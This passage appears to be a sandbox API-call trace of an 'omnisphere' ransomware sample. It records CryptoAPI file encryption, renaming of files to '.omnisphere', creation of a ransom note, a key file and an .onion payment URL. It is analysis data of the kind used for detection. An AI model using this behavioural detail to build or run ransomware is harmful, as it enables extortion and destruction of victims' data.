pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.009] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.009] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.009] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.009] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.009] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.009] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.009] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.009] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.009] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.009] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.009] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.009] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.009] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.009] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.009] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.009] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.009] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.009] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.009] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.009] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.010] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.010] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.010] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.010] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.010] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.010] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.010] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.010] CryptDestroyKey (hKey=0x1639b28) returned 1 [0127.010] CryptReleaseContext (hProv=0x16689b0, dwFlags=0x0) returned 1 [0127.010] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x34f, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0127.010] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0127.010] GetProcessHeap () returned 0x1600000 [0127.010] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2b8) returned 0x16ee6a0 [0127.010] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\R7Xo1pIDUa2Xzbh.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\r7xo1pidua2xzbh.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\R7Xo1pIDUa2Xzbh.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\r7xo1pidua2xzbh.lnk.omnisphere")) returned 1 [0127.011] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\R7Xo1pIDUa2Xzbh.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\R7Xo1pIDUa2Xzbh.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\R7Xo1pIDUa2Xzbh.lnk.omnisphere.id" [0127.011] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\R7Xo1pIDUa2Xzbh.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\r7xo1pidua2xzbh.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0127.012] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0127.013] CloseHandle (hObject=0x3c0) returned 1 [0127.013] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0127.013] CloseHandle (hObject=0x288) returned 1 [0127.013] SetEndOfFile (hFile=0x28c) returned 1 [0127.013] FlushFileBuffers (hFile=0x28c) returned 1 [0127.016] CloseHandle (hObject=0x28c) returned 1 [0127.016] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\R7Xo1pIDUa2Xzbh.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0127.016] GetProcessHeap () returned 0x1600000 [0127.016] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16ef5e0 [0127.016] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0127.016] GetProcessHeap () returned 0x1600000 [0127.016] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16d5c80 [0127.016] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16d5c80, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0127.016] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0127.016] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0127.016] GetProcessHeap () returned 0x1600000 [0127.016] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16d8488 [0127.016] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16d8488, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0127.016] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0127.016] GetProcessHeap () returned 0x1600000 [0127.016] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16d9058 [0127.016] PathCombineW (in: pszDest=0x16d9058, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0127.016] GetProcessHeap () returned 0x1600000 [0127.016] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16e3848 [0127.016] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.017] WriteFile (in: hFile=0x28c, lpBuffer=0x16e3848*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16e3848*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0127.017] CloseHandle (hObject=0x28c) returned 1 [0127.017] GetProcessHeap () returned 0x1600000 [0127.017] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16ef5e0 | out: hHeap=0x1600000) returned 1 [0127.017] GetProcessHeap () returned 0x1600000 [0127.017] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162e368 [0127.017] PathCombineW (in: pszDest=0x162e368, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0127.017] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.017] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0127.017] CloseHandle (hObject=0x28c) returned 1 [0127.018] GetProcessHeap () returned 0x1600000 [0127.018] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162e368 | out: hHeap=0x1600000) returned 1 [0127.018] GetProcessHeap () returned 0x1600000 [0127.018] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0127.018] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e4bef61, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1e4bef61, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x1e4bef61, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x2ba, dwReserved0=0x0, dwReserved1=0xd3, cFileName="RMIrT LtW_D-mpk_75FE.lnk", cAlternateFileName="RMIRTL~1.LNK")) returned 1 [0127.018] GetProcessHeap () returned 0x1600000 [0127.018] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb2) returned 0x166ab78 [0127.018] PathCombineW (in: pszDest=0x166ab78, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="RMIrT LtW_D-mpk_75FE.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\RMIrT LtW_D-mpk_75FE.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\RMIrT LtW_D-mpk_75FE.lnk" [0127.018] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0127.018] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\RMIrT LtW_D-mpk_75FE.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\rmirt ltw_d-mpk_75fe.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.018] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=698) returned 1 [0127.018] GetTickCount () returned 0x115fb25 [0127.018] GetTickCount () returned 0x115fb25 [0127.018] GetTickCount () returned 0x115fb25 [0127.018] GetTickCount () returned 0x115fb25 [0127.018] GetTickCount () returned 0x115fb25 [0127.018] GetTickCount () returned 0x115fb25 [0127.018] GetTickCount () returned 0x115fb25 [0127.018] GetTickCount () returned 0x115fb25 [0127.018] GetTickCount () returned 0x115fb25 [0127.019] GetTickCount () returned 0x115fb25 [0127.019] GetTickCount () returned 0x115fb25 [0127.019] GetTickCount () returned 0x115fb25 [0127.019] GetTickCount () returned 0x115fb25 [0127.019] GetTickCount () returned 0x115fb25 [0127.019] GetTickCount () returned 0x115fb25 [0127.019] GetTickCount () returned 0x115fb25 [0127.019] GetTickCount () returned 0x115fb25 [0127.019] GetTickCount () returned 0x115fb25 [0127.019] GetTickCount () returned 0x115fb25 [0127.019] GetTickCount () returned 0x115fb25 [0127.019] GetTickCount () returned 0x115fb25 [0127.019] GetTickCount () returned 0x115fb25 [0127.019] GetTickCount () returned 0x115fb25 [0127.019] GetTickCount () returned 0x115fb25 [0127.019] GetTickCount () returned 0x115fb25 [0127.019] GetTickCount () returned 0x115fb25 [0127.019] GetTickCount () returned 0x115fb25 [0127.019] GetTickCount () returned 0x115fb25 [0127.019] GetTickCount () returned 0x115fb25 [0127.019] GetTickCount () returned 0x115fb25 [0127.019] GetTickCount () returned 0x115fb25 [0127.019] GetTickCount () returned 0x115fb25 [0127.019] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668c58) returned 1 [0127.020] CryptImportKey (in: hProv=0x1668c58, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x16395e8) returned 1 [0127.020] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0127.020] CryptDestroyKey (hKey=0x16395e8) returned 1 [0127.020] CryptReleaseContext (hProv=0x1668c58, dwFlags=0x0) returned 1 [0127.020] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2ba, lpName=0x0) returned 0x288 [0127.020] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2ba) returned 0x1480000 [0127.021] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668a38) returned 1 [0127.021] CryptImportKey (in: hProv=0x1668a38, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b28) returned 1 [0127.021] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0127.021] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0127.021] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.021] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.021] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.021] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.021] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.021] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.021] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.022] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.022] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.022] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.022] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.022] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.022] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.022] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.022] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.022] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.022] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.022] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.022] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.022] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.022] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.022] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.022] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.022] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.022] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.022] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 